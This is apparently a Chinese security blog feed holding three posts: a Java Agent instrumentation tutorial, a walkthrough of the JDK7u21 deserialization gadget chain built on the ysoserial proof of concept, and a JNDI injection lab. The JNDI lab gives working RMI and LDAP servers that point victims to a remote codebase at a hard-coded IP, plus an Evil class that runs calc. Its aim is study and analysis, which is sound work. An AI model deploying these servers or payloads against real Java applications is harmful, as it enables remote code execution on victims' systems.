java.lang.instrument.ClassFileTransformer是一个转换类文件的代理接口，我们可以在获取到Instrumentation对象后通过addTransformer方法添加自定义类文件转换器。当有新的类被JVM加载时，JVM会自动回调用我们自定义的Transformer类的transform方法，传入该类的transform信息(类名、类加载器、类字节码等)，我们可以根据传入的类信息决定是否需要修改类字节码，修改完字节码后我们将新的类字节码返回给JVM，JVM会验证类和相应的修改是否合法，如果符合类加载要求JVM会加载我们修改后的类字节码。

查看一下该接口

image-20220619223902779

只有一个transform方法

1
2
3
4
5
6
ClassLoader loader              定义要转换的类加载器；如果是引导加载器，则为 null
String   className           加载的类名,如:java/lang/Runtime
Class<?> classBeingRedefined 如果是被重定义或重转换触发，则为重定义或重转换的类；如果是类加载，则为 null
ProtectionDomain protectionDomain   要定义或重定义的类的保护域
byte[]  classfileBuffer     类文件格式的输入字节缓冲区（不得修改）

重写**transform**方法注意事项：

  1. ClassLoader如果是被Bootstrap ClassLoader(引导类加载器)所加载那么loader参数的值是空。
  2. 修改类字节码时需要特别注意插入的代码在对应的ClassLoader中可以正确的获取到，否则会报ClassNotFoundException，比如修改java.io.FileInputStream(该类由Bootstrap ClassLoader加载)时插入了我们检测代码，那么我们将必须保证FileInputStream能够获取到我们的检测代码类。
  3. JVM类名的书写方式路径方式：java/lang/String而不是我们常用的类名方式：java.lang.String。
  4. 类字节必须符合JVM校验要求，如果无法验证类字节码会导致JVM崩溃或者VerifyError(类验证错误)。
  5. 如果修改的是retransform类(修改已被JVM加载的类)，修改后的类字节码不得新增方法、修改方法参数、类成员变量。
  6. addTransformer时如果没有传入retransform参数(默认是false)就算MANIFEST.MF中配置了Can-Redefine-Classes: true而且手动调用了retransformClasses方法也一样无法retransform。
  7. 卸载transform时需要使用创建时的Instrumentation实例。

Java Agent实现

使用javaagent需要几个步骤：

  1. 定义一个 MANIFEST.MF 文件，必须包含 Premain-Class 选项，通常也会加入Can-Redefine-Classes 和 Can-Retransform-Classes 选项。
  2. 创建一个Premain-Class 指定的类，类中包含 premain 方法，方法逻辑由用户自己确定。
  3. 将 premain 的类和 MANIFEST.MF 文件打成 jar 包。
  4. 使用参数 -javaagent: jar包路径 启动要代理的方法。

实现javaagent你需要搭建两个工程，一个工程是用来承载javaagent类，单独的打成jar包；一个工程是javaagent需要去代理的类。

JVM启动前运行

工程目录结构如下：

1
2
3
4
5
6
7
├── java
│   └── org
│       └── agent
│           ├── Agent.java
└── resources
    └── META-INF
        ├── MANIFEST.MF

创建一个包含premain方法的类：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.agent;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

public class Agent {
    public static void premain(String args, Instrumentation inst) {
        System.out.println("Agent args is : " + args);
        inst.addTransformer(new DefineTransformer(), true);
    }

    static class DefineTransformer implements ClassFileTransformer {

        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            System.out.println("premain load class" + className);
            return new byte[0];
        }
    }
}

上面就是我实现的一个类，实现了带Instrumentation参数的premain()方法。调用addTransformer()方法对启动时所有的类进行拦截。

然后在 resources 目录下新建目录：META-INF，在该目录下新建文件：MANIFREST.MF：

1
2
3
4
5
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: org.agent.Agent

MANIFREST.MF文件的作用

Premain-Class ：包含 premain 方法的类（类的全路径名）

Agent-Class ：包含 agentmain 方法的类（类的全路径名）

Boot-Class-Path ：设置引导类加载器搜索的路径列表。查找类的特定于平台的机制失败后，引导类加载器会搜索这些路径。按列出的顺序搜索路径。列表中的路径由一个或多个空格分开。路径使用分层 URI 的路径组件语法。如果该路径以斜杠字符（“/”）开头，则为绝对路径，否则为相对路径。相对路径根据代理 JAR 文件的绝对路径解析。忽略格式不正确的路径和不存在的路径。如果代理是在 VM 启动之后某一时刻启动的，则忽略不表示 JAR 文件的路径。（可选）

Can-Redefine-Classes ：true表示能重定义此代理所需的类，默认值为 false（可选）

Can-Retransform-Classes ：true 表示能重转换此代理所需的类，默认值为 false （可选）

Can-Set-Native-Method-Prefix： true表示能设置此代理所需的本机方法前缀，默认值为 false（可选）

即在该文件中主要定义了程序运行相关的配置信息，程序运行前会先检测该文件中的配置项。

也可以用maven去配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<build>
      <plugins>
          <plugin>
              <groupId>org.apache.maven.plugins</groupId>
              <artifactId>maven-jar-plugin</artifactId>
              <version>3.1.0</version>
              <configuration>
                  <archive>
                      <!--自动添加META-INF/MANIFEST.MF -->
                      <manifest>
                          <addClasspath>true</addClasspath>
                      </manifest>
                      <manifestEntries>
                          <Premain-Class>com.nice0e3.Agent</Premain-Class>
                          <Agent-Class>com.nice0e3.Agent</Agent-Class>
                          <Can-Redefine-Classes>true</Can-Redefine-Classes>
                          <Can-Retransform-Classes>true</Can-Retransform-Classes>
                      </manifestEntries>
                  </archive>
              </configuration>
          </plugin>
          <plugin>
              <groupId>org.apache.maven.plugins</groupId>
              <artifactId>maven-compiler-plugin</artifactId>
              <configuration>
                  <source>6</source>
                  <target>6</target>
              </configuration>
          </plugin>
      </plugins>
  </build>

编译成jar包后，再建立一个项目，配置加入-javaagent参数，-javaagent:out\Agent1-1.0-SNAPSHOT.jar

image-20220619233353379

编写一个main方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public class AgentTest {

    public static void main(String[] args) throws Exception {
        System.out.println("main start");
        try {
            Thread.sleep(3000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        System.out.println("main end");
    }
}

运行结果，这里可以看到打印了JVM加载的所有类。

image-20220619233501086

上面的输出结果我们能够发现：

  1. 执行main方法之前会加载所有的类，包括系统类和自定义类；
  2. 在ClassFileTransformer中会去拦截系统类和自己实现的类对象；
  3. 如果你有对某些类对象进行改写，那么在拦截的时候抓住该类使用字节码编译工具即可实现。
transform测试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

/**
 * @author rickiyang
 * @date 2019-08-06
 * @Desc
 */
public class MyClassTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined,final ProtectionDomain protectionDomain, final byte[] classfileBuffer) {
        // 操作Date类
        if ("java/util/Date".equals(className)) {
            try {
                // 从ClassPool获得CtClass对象
                final ClassPool classPool = ClassPool.getDefault();
                final CtClass clazz = classPool.get("java.util.Date");
                CtMethod convertToAbbr = clazz.getDeclaredMethod("convertToAbbr");
                //这里对 java.util.Date.convertToAbbr() 方法进行了改写，在 return之前增加了一个 打印操作
                String methodBody = "{sb.append(Character.toUpperCase(name.charAt(0)));" +
                        "sb.append(name.charAt(1)).append(name.charAt(2));" +
                        "System.out.println(\"sb.toString()\");" +
                        "return sb;}";
                convertToAbbr.setBody(methodBody);

                // 返回字节码，并且detachCtClass对象
                byte[] byteCode = clazz.toBytecode();
                //detach的意思是将内存中曾经被javassist加载过的Date对象移除，如果下次有需要在内存中找不到会重新走javassist加载
                clazz.detach();
                return byteCode;
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
        // 如果返回null则字节码不会被修改
        return null;
    }
}

JVM启动后运行

上面介绍的Instrumentation是在JDK1.5中提供的，开发者只能在main加载之前添加手脚，在Java SE 6的Instrumentation当中，提供了一个新的代理操作方法：agentmain，可以在main函数开始运行之后再运行。

跟premain函数一样，开发者可以编写一个含有agentmain函数的Java类：

1
2
3
4
// 采用attach机制，被代理的目标程序VM有可能很早之前已经启动，当然其所有类已经被加载完成，这个时候需要借助Instrumentation#retransformClasses(Class<?>... classes)让对应的类可以重新转换，从而激活重新转换的类执行ClassFileTransformer列表中的回调
public static void agentmain (String agentArgs, Instrumentation inst)

public static void agentmain (String agentArgs)

同样，agentmain方法中带Instrumentation参数的方法也比不带优先级更高。开发者必须在manifest文件里面设置“Agent-Class”来指定包含agentmain函数的类。

在Java JDK6以后实现启动后加载Instrument的是Attach api。存在于com.sun.tools.attach里面有两个重要的类。

来查看一下该包中的内容，这里有两个比较重要的类，分别是VirtualMachine和VirtualMachineDescriptor

image-20220620000020624

VirtualMachine

VirtualMachine可以来实现获取系统信息，内存dump、现成dump、类信息统计（例如JVM加载的类）。里面配备有几个方法LoadAgent，Attach 和 Detach 。下面来看看这几个方法的作用

Attach ：从 JVM 上面解除一个代理等方法，可以实现的功能可以说非常之强大 。该类允许我们通过给attach方法传入一个jvm的pid(进程id)，远程连接到jvm上

loadAgent：向jvm注册一个代理程序agent，在该agent的代理程序中会得到一个Instrumentation实例，该实例可以 在class加载前改变class的字节码，也可以在class加载后重新加载。在调用Instrumentation实例的方法时，这些方法会使用ClassFileTransformer接口中提供的方法进行处理。

Detach：从 JVM 上面解除一个代理(agent)

VirtualMachineDescriptor

则是一个描述虚拟机的容器类，配合VirtualMachine类完成各种功能。

attach实现动态注入的原理

通过VirtualMachine类的attach(pid)方法，便可以attach到一个运行中的java进程上，之后便可以通过loadAgent(agentJarPath)来将agent的jar包注入到对应的进程，然后对应的进程会调用agentmain方法。

image-20220620000746585

既然是两个进程之间通信那肯定的建立起连接，VirtualMachine.attach动作类似TCP创建连接的三次握手，目的就是搭建attach通信的连接。而后面执行的操作，例如vm.loadAgent，其实就是向这个socket写入数据流，接收方target VM会针对不同的传入数据来做不同的处理。

agentmain测试

工程结构和 上面premain的测试一样，编写AgentMainTest，然后使用maven插件打包 生成MANIFEST.MF。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.agent;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

public class Agent {

    public static void agentmain(String agentArgs, Instrumentation instrumentation) {
        instrumentation.addTransformer(new DefineTransFormer(), true);
    }

    static class DefineTransFormer implements ClassFileTransformer {

        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            System.out.println("post agent load class : " + className);
            return classfileBuffer;
        }
    }

}

打包生成jar包，编写测试main方法。的步骤是：从一个attach JVM去探测目标JVM，如果目标JVM存在则向它发送agent.jar。我测试写的简单了些，找到当前JVM并加载agent.jar。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;

public class AgentTest {

    public static void main(String[] args) throws Exception {
        //获取当前系统中所有 运行中的 虚拟机
        System.out.println("running JVM start ");
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list) {
            //如果虚拟机的名称为 xxx 则 该虚拟机为目标虚拟机，获取该虚拟机的 pid
            //然后加载 agent.jar 发送给该虚拟机
            System.out.println(vmd.displayName());
            if (vmd.displayName().endsWith("AgentTest")) {
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                virtualMachine.loadAgent("D:\\code\\java1\\AgentTest2\\out\\AgentTest-1.0-SNAPSHOT.jar");
                virtualMachine.detach();
            }
        }
    }

}

list()方法会去寻找当前系统中所有运行着的JVM进程，通过vmd.displayName()看到当前系统都有哪些JVM进程在运行。因为main函数执行起来的时候进程名为当前类名，所以通过这种方式可以去找到当前的进程id。

执行结果

image-20220620001805482

Instrumentation的局限性

大多数情况下，我们使用Instrumentation都是使用其字节码插桩的功能，或者笼统说就是类重定义(Class Redefine)的功能，但是有以下的局限性：

  1. premain和agentmain两种方式修改字节码的时机都是类文件加载之后，也就是说必须要带有Class类型的参数，不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。
  2. 类的字节码修改称为类转换(Class Transform)，类转换其实最终都回归到类重定义Instrumentation#redefineClasses()方法，此方法有以下限制：

参考

https://juejin.cn/post/7017781194481729549

https://www.cnblogs.com/nice0e3/p/14086165.html

]]> <meta name="referrer" content="no-referrer"/> <h3 id="Java-Agent简介"><a href="#Java-Agent简介" class="headerlink" title="Java Agent简介"></a>Java Agent简介</h3><p>JavaAgent 是 JDK1.5 之后引入的新特性，此特性为用户提供了在 JVM 将字节码文件读入内存之后，JVM 使用对应的字节流在 Java 堆中生成一个 Class 对象之前，用户可以对其字节码进行修改的能力，从而 JVM 也将会使用用户修改过之后的字节码进行 Class 对象的创建。Java Agent可以去实现字节码插桩、动态跟踪分析等。</p> Java安全之Jdk7u21链分析 https://kpa1on.github.io/2022/06/17/Java%E5%AE%89%E5%85%A8%E4%B9%8BJdk7u21%E9%93%BE%E5%88%86%E6%9E%90/ 2022-06-17T15:47:06.000Z 2022-09-29T17:44:05.064Z

前言

前面的cc链都是第三方组件的利用链，现在学习下JDK7u21的原生反序列化链。

影响版本

JDK7u21这个版本以及之前时间发布的所有Java版本都有问题。

image-20220618000915777

利用链分析

引入javassist，下面用到javassist就是为了方便生成恶意类的字节码，而且版本要低一些，高版本不兼容jdk7，只能用jdk8及其更高版本。

1
2
3
4
5
6
7
8
9
10
11
12
13
<properties>
    <maven.compiler.source>7</maven.compiler.source>
    <maven.compiler.target>7</maven.compiler.target>
</properties>

<dependencies>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.20.0-GA</version>
    </dependency>
</dependencies>

7u21这条链核心就在于AnnotationInvocationHandler这个类。联想到CC1的时候第一次接触它，这个类有两种利用思路，一种是利用它的readObject()，另一种就是利用它的invoke()，因为AnnotationInvocationHandler是一个实现了InvocationHandler接口的类，可以应用于动态代理中。

看下yso中给出的调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
LinkedHashSet.readObject()
  LinkedHashSet.add()
    ...
      TemplatesImpl.hashCode() (X)
  LinkedHashSet.add()
    ...
      Proxy(Templates).hashCode() (X)
        AnnotationInvocationHandler.invoke() (X)
          AnnotationInvocationHandler.hashCodeImpl() (X)
            String.hashCode() (0)
            AnnotationInvocationHandler.memberValueHashCode() (X)
              TemplatesImpl.hashCode() (X)
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()

看下yso中的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);

Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);

map.put(zeroHashCodeStr, templates); // swap in real object

return set;
}

首先是

1
final Object templates = Gadgets.createTemplatesImpl(command);

进到方法中

image-20220618173503107

最后调用了它的重载方法，方法中，首先对传入的TemplatesImpl进行了实例化，然后用javassist动态创建了一个恶意类

image-20220618173821584

最后这段代码使用了Reflections.setFieldValue把templates里面的_bytecodes设置为前面动态创建的类的字节码。

image-20220618180929673

setFieldValue()是通过反射去实现的

image-20220618181513584

继续往下看

image-20220618182654963

查看一下Reflections.getFirstCtor方法，内部就是使用反射创建一个无参构造的对象

image-20220618182811857

传递的name就是AnnotationInvocationHandler

image-20220618182952209

Reflections.getFirstCtor方法返回AnnotationInvocationHandler对象，然后调用newInstance实例化该对象，传入构造方法中的参数是Override.class和map，这个在cc链学习的时候页接触到过这种传参方式。

下面这段代码和之前一样通过反射将tempHandler里面的type的变量改成Templates.class

1
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

再来看到下一段代码,跟进一下Gadgets.createProxy方法，主要就最后一行，使用了Templates去做动态代理

image-20220618184148200

等价于下面的代码

1
2
3
4
5
6
7
8
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Templates templates=(Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),Templates.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,templates);

接着往下看

image-20220618192148678

实例化一个LinkedHashSet对象，并将templates和proxy添加进去。

调试分析

先编写一个测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package ysoserial;

import ysoserial.payloads.Jdk7u21;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Test {
    public static void main(String[] args) throws Exception {
        Object calc = new Jdk7u21().getObject("calc");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
        objectOutputStream.writeObject(calc);
        System.out.println("序列化输出----");
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
        Object o = objectInputStream.readObject();
    }
}

成功触发

image-20220618192948825

接下来分析下该利用链的具体调用过程，根据yso返回的是LinkedHashSet实例化对象，所以反序列化时先会调用LinkedHashSet#readObject()方法。

可以看到并没有readObject()方法

image-20220618194946775

查看下父类，发现继承了HashSet

image-20220618195103571

那么会调用HashSet#readObject()方法，在里面打个断点，这里调用了map.put()方法，跟进一下

image-20220618202844266

发现调用的是HashMap#put()方法，这里有个for循环，因为table数组是空的所以并不会进入循环中，下面会调用addEntry,将这几个值添加进去，hash的值为hash方法处理TemplatesImpl的值，key为TemplatesImpl的实例对象，value则是一个空的Object对象，i参数为indexFor方法处理hash后的结果。

image-20220618203843843

返回之后，继续调用put方法

image-20220618204410352

此时table中有了值，所以进入for循环

image-20220618204600793

这里的key为代理类，代理类执行方法时，会触发AnnotationInvocationHandler的invoke方法执行

image-20220618204744027

这里通过if判断后，会调用equalsImpl()方法

image-20220618205444743

进入方法中，可以看到这里会通过反射调用 var1 对象的 var5 方法，此时var1为TemplatesImpl，var5是名为newTransformer的Method对象

image-20220618211236270

那么这里是怎么获取var5的呢，可以看到上面通过getMemberMethods()方法拿到Method类类型的数组，跟进这个方法看一下。通过反射拿到this.type对象的方法，这里的type为templates对象

image-20220618211429288

这里返回了两个方法

image-20220618221118759

然后拿到这两个方法之后，就会进入for循环，通过var8 = var5.invoke(var1);分别通过反射调用这两个方法，var1就是TemplatesImpl的实例对象。也就是说会调用TemplatesImpl#getOutputProperties()方法，后面的调用步骤和走之前CC链利用TemplatesImpl构造恶意类的调用时一样的。

image-20220618212153754

往下就是之前TemplatesImpl的调用链了，getOutputProperties方法会去调用newTransformer方法，newTransformer又会去调用getTransletInstance方法。

image-20220618212438318

参考

https://www.cnblogs.com/nice0e3/p/14026849.html

]]> <meta name="referrer" content="no-referrer"/> <h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>前面的cc链都是第三方组件的利用链，现在学习下JDK7u21的原生反序列化链。</p> Java安全之JNDI注入 https://kpa1on.github.io/2022/06/17/Java%E5%AE%89%E5%85%A8%E4%B9%8BJNDI%E6%B3%A8%E5%85%A5/ 2022-06-17T02:41:38.000Z 2022-09-29T17:44:12.350Z

前言

JNDI注入是反序列化漏洞常用的攻击手法之一。

JNDI概述

JNDI(Java Naming and Directory Interface，Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口，JNDI提供统一的客户端API，通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现，由管理者将JNDI API映射为特定的命名服务和目录系统，使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。两者之间的关键差别是目录服务中对象不但可以有名称还可以有属性（例如，用户有email地址），而命名服务中对象没有属性。

JNDI支持多种命名和目录提供程序（Naming and Directory Providers），RMI注册表服务提供程序（RMI Registry Service Provider）允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作，还可以通过（LDAP）。再提一下RMI：

RMI核心特点之一就是动态类加载，如果当前JVM中没有某个类的定义，它可以从远程URL去下载这个类的class，动态加载的对象class文件可以使用Web服务的方式进行托管。相当于利用RMI去动态加载类，RMI服务那里绑定了一个对象，然后通过JNDI 去获取RMI对应的绑定的那个对象。

通过得到的RMI服务端那里的对象，然后调用方法，实际上是在RMI服务那边执行的，也就是说这样攻击的是服务端，那如何攻击客户端呢。

在JNDI服务中，RMI服务端除了直接绑定远程对象之外，还可以通过References类来绑定一个外部的远程对象（当前名称目录系统之外的对象）。绑定了Reference之后，服务端会先通过Referenceable.getReference()获取绑定对象的引用，并且在目录中保存。当客户端在lookup()查找这个远程对象时，客户端会获取相应的object factory，最终通过factory类将reference转换为具体的对象实例。

当有客户端通过 lookup("refObj") 获取远程对象时，得到的是一个 Reference 类的存根，由于获取的是一个 Reference 实例，客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类，如果本地未找到，则会去请求 http://ip:port/refClassName.class 动态加载 classes 并调用 insClassName 的构造函数、静态代码块、getObjectInstance()等。这些地方都可以写入恶意代码。而且这个调用是在客户端，而不是在服务端。这就实现了客户端的命令执行。

JNDI+RMI代码测试

客户端代码如下

1
2
3
4
5
6
7
8
9
10
11
12
package com.ljw.test;

import javax.naming.Context;
import javax.naming.InitialContext;

public class Client2 {
    public static void main(String[] args) throws Exception {
        String url = "rmi://42.194.149.25:8111/test";
        Context context = new InitialContext();
        context.lookup(url);
    }
}

服务端代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server2 {
    public static void main(String[] args) throws Exception{
        System.setProperty("java.rmi.server.hostname","42.194.149.25");
        Registry registry = LocateRegistry.createRegistry(8111);
        Reference feng = new Reference("1","Evil","http://42.194.149.25:8112/");//构造出一个Reference对象,第一个className用处不大，第二个参数factory是用来指定类名的，第三个参数就是当CLASSPATH找不到指定的类的时候，去搜索的远程URL路径了。也就是查找http://42.194.149.25:8112/Evil.class
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(feng);
        registry.bind("test",referenceWrapper);
    }
}

再写一个Evil.java

1
2
3
4
5
public class Evil {
    public Evil() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

将Evil.java编译好

image-20220617141530737

运行客户端代码

image-20220617163834298

这里弄了很久，之前运行一直显示timeout，后面调试发现，在rmi通信的时候是启用了一个随机端口比如44567，vps因为有安全组所以一直连不上，把安全组策略打开即可。

image-20220617164109795

JNDI+RMI调试分析

在lookup函数处打上断点

image-20220617164309349

跟进rmiURLContext#lookup

image-20220617164322361

通过rmiURLContext#getRootURLContext拿到var2，var2如下，里面把包括远程主机和对应的端口，以及绑定对象的名字

image-20220617164753147

继续跟进var3#lookup

image-20220617165035321

通过this.registry#lookup方法拿到RMI绑定的对象

image-20220617165354526

向下，跟进decodeObject()方法

image-20220617165531724

这里先判断var1是否是ReferenceWrapper类的对象，它implements RemoteReference了，所以会调用getReference()，获取Reference对象

image-20220617172709570

进入NamingManager.getObjectInstance，前面通过一些if语句的判断，重点是下面这几行代码

image-20220617172958249

跟进getObjectFactoryFromReference()函数，clas = helper.loadClass(factoryName);这里是本地类加载，因为找不到Evil类所以会加载失败。继续往下在codebase = ref.getFactoryClassLocation()中，FactoryClassLocation就是我们请求的URL，并赋值给codebase，下面就通过URLClassLoader远程加载类，跟进loadClass()方法，获取URLClassLoader

image-20220617174420127

再跟进loadClass()方法，可以看到这里用Class.forName加载类且第二个参数是true（默认也是true）会进行类的加载，也就是静态代码块。因此这时候静态代码块的代码可以执行。

image-20220617174351661

成功加载到了clas后，再return (clas != null) ? (ObjectFactory) clas.newInstance() : null;，调用它的newInstance()进行实例化，从而调用了无参构造器，执行了无参构造器里面的代码，因此可以将恶意代码放入无参构造器中。

image-20220617173457054

回到getObjectFactoryFromReference()调用处，继续往下，可以发现还会调用getObjectInstance()方法，因此也可以把代码写到getObjectInstance方法中

image-20220617175505727

调用链大致如下

image-20220617182136524

JNDI注入利用RMI的话，版本会受到极大的限制。

JNDI+LDAP代码测试

LDAP是轻型目录访问协议（英文：Lightweight Directory Access Protocol，缩写：LDAP）是一个开放的，中立的，工业标准的应用协议，通过IP协议提供访问控制和维护分布式信息的目录信息。

因为RMI会受到限制，所以就有了JNDI+LDAP的注入方式。

除了RMI服务之外，JNDI还可以对接LDAP服务，且LDAP也能返回JNDI Reference对象，利用过程与上面RMI Reference基本一致，只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx，由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

注意一点就是，LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制，所以适用范围更广。

服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package com.ljw.test;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAP_Server {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8112/#Evil"};
        int port = 8111;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}


客户端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.ljw.test;


import javax.naming.Context;
import javax.naming.InitialContext;

public class LDAP_Client {
    public static void main(String[] args) throws Exception {
        String url = "ldap://127.0.0.1:8111/Evil";
        Context context = new InitialContext();
        context.lookup(url);
    }
}


运行结果如下

image-20220617223742062

版本限制

RMI版本限制

这里还需要说下在 当RMI客户端引用远程对象将受本地Java环境限制，即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象)，如果该值为true则禁止引用远程对象。

所以这里如果我们进行利用的话，客户端的RMI启动的时候就需要设置useCodebaseOnly

java在6u45、7u21开始java.rmi.server.useCodebaseOnly默认配置已经改为了true。

在javasec中看到说是8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true

image-20220617180420743

除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制，如果该值为false(不信任远程引用对象)则无法调用远程的引用对象。

